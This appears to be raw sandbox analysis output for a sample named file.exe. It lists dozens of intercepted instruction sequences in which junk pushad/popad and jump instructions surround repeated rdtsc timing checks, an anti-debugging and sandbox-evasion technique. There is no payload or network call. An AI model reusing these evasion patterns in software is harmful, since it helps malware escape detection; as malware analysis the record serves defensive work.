Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17FBD second address: D17FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDDB4D5DBF6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17FCC second address: D17FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D18F5B second address: D18F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F8A9 second address: D1F8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jo 00007FDDB4F28596h 0x0000000c jg 00007FDDB4F28596h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a jp 00007FDDB4F28596h 0x00000020 pop edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jnc 00007FDDB4F28596h 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F3FE second address: D1F440 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDDB4D5DBF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FDDB4D5DC07h 0x00000010 jmp 00007FDDB4D5DC09h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F440 second address: D1F444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F5CE second address: D1F5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDDB4D5DBFCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F5DA second address: D1F616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDDB4F285A7h 0x0000000c jng 00007FDDB4F285AEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F616 second address: D1F61C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F61C second address: D1F620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B5FF second address: D2B605 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2AFB8 second address: D2AFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FDDB4F285A8h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2AFD5 second address: D2AFF7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007FDDB4D5DBFCh 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2AFF7 second address: D2B005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDDB4F28596h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2B005 second address: D2B023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDDB4D5DBF6h 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007FDDB4D5DBF6h 0x00000012 jmp 00007FDDB4D5DBFAh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D372D4 second address: D372DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D372DF second address: D372E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D372E3 second address: D372E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D400A0 second address: D400A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D455E8 second address: D455EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D455EE second address: D455F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D455F3 second address: D45612 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FDDB4F28596h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45612 second address: D4561C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDDB4D5DBF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4BB89 second address: D4BBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007FDDB4F285A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A51C second address: D4A52F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDDB4D5DBF6h 0x0000000a jnp 00007FDDB4D5DBF6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A826 second address: D4A82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4AB02 second address: D4AB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDDB4D5DBF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4AC86 second address: D4AC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4AF78 second address: D4AF87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jl 00007FDDB4D5DC02h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B8A9 second address: D4B8B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B8B1 second address: D4B8B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B8B7 second address: D4B8BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B8BC second address: D4B8C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FDDB4D5DBF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D2EB second address: D4D2FF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDB4F28598h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FDDB4F28596h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E981 second address: D4E99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4D5DC06h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E99B second address: D4E9AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FDDB4F28596h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E9AB second address: D4E9AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E9AF second address: D4E9B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E9B3 second address: D4E9B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E9B9 second address: D4E9C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FDDB4F28596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E9C3 second address: D4E9E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FDDB4D5DC22h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDDB4D5DBFDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D512EA second address: D512F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F9A3 second address: D5F9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F9A7 second address: D5F9AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F9AB second address: D5F9B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64556 second address: D6455A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6455A second address: D6456A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FDDB4D5DBF6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6456A second address: D64574 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDDB4F28596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D643EE second address: D643F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D643F4 second address: D643F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70B3E second address: D70B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FDDB4D5DC07h 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70B66 second address: D70B92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A3h 0x00000007 jmp 00007FDDB4F2859Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f js 00007FDDB4F28596h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7070E second address: D70736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edx 0x00000006 pop edx 0x00000007 jmp 00007FDDB4D5DC05h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007FDDB4D5DC1Ch 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70736 second address: D70752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4F285A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D721FB second address: D72232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDDB4D5DBF6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jno 00007FDDB4D5DC0Ch 0x00000013 jmp 00007FDDB4D5DBFBh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72232 second address: D72250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDDB4F28596h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FDDB4F2859Ah 0x00000016 push edx 0x00000017 pop edx 0x00000018 pushad 0x00000019 popad 0x0000001a push ecx 0x0000001b push esi 0x0000001c pop esi 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72250 second address: D72278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4D5DC08h 0x00000009 jmp 00007FDDB4D5DBFCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85A5C second address: D85A82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FDDB4F285ACh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85A82 second address: D85A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85C3F second address: D85C43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86068 second address: D860B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FDDB4D5DBFAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FDDB4D5DBFBh 0x00000011 jmp 00007FDDB4D5DC09h 0x00000016 jl 00007FDDB4D5DBF6h 0x0000001c jnp 00007FDDB4D5DBF6h 0x00000022 popad 0x00000023 popad 0x00000024 push edi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D860B0 second address: D860B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D860B6 second address: D860BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D863B2 second address: D863BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86553 second address: D8656B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDDB4D5DBF6h 0x00000008 jmp 00007FDDB4D5DBFEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D866ED second address: D866F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D866F1 second address: D866FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D866FE second address: D86713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDDB4F28596h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jbe 00007FDDB4F2859Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A935 second address: D8A939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8AB31 second address: D8AB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8AB35 second address: D8AB98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DC02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnl 00007FDDB4D5DBFEh 0x00000010 nop 0x00000011 mov dx, C12Ch 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FDDB4D5DBF8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov edx, 660B6F00h 0x00000036 mov edx, ebx 0x00000038 push 358EF231h 0x0000003d je 00007FDDB4D5DC08h 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8AB98 second address: D8AB9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8AB9C second address: D8ABA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C063 second address: D8C073 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDB4F28596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C073 second address: D8C077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D7DA second address: D8D7DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D7DE second address: D8D7E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D7E2 second address: D8D7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D7EB second address: D8D7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d popad 0x0000000e push ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8D7FD second address: D8D805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA87C5 second address: CA87CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FDDB4D5DBF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA87CF second address: CA87D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA897C second address: CA8998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDB4D5DC07h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8998 second address: CA899D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2034E second address: 4D2035D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DBFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2035D second address: 4D20375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4F285A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20375 second address: 4D20379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20379 second address: 4D20389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20389 second address: 4D2038D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D2038D second address: 4D203A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F285A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D203A5 second address: 4D203B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDB4D5DBFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D203B7 second address: 4D203BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D405E3 second address: 4D40617 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4D5DBFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDDB4D5DC00h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDDB4D5DBFEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40617 second address: 4D406A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDB4F2859Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FDDB4F285A4h 0x00000011 add ax, 5CE8h 0x00000016 jmp 00007FDDB4F2859Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FDDB4F285A8h 0x00000022 adc ecx, 19726F48h 0x00000028 jmp 00007FDDB4F2859Bh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 pushad 0x00000032 mov bh, al 0x00000034 mov al, bh 0x00000036 popad 0x00000037 xchg eax, ecx 0x00000038 jmp 00007FDDB4F285A8h 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406A2 second address: 4D406A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406A6 second address: 4D406AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406AC second address: 4D406B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
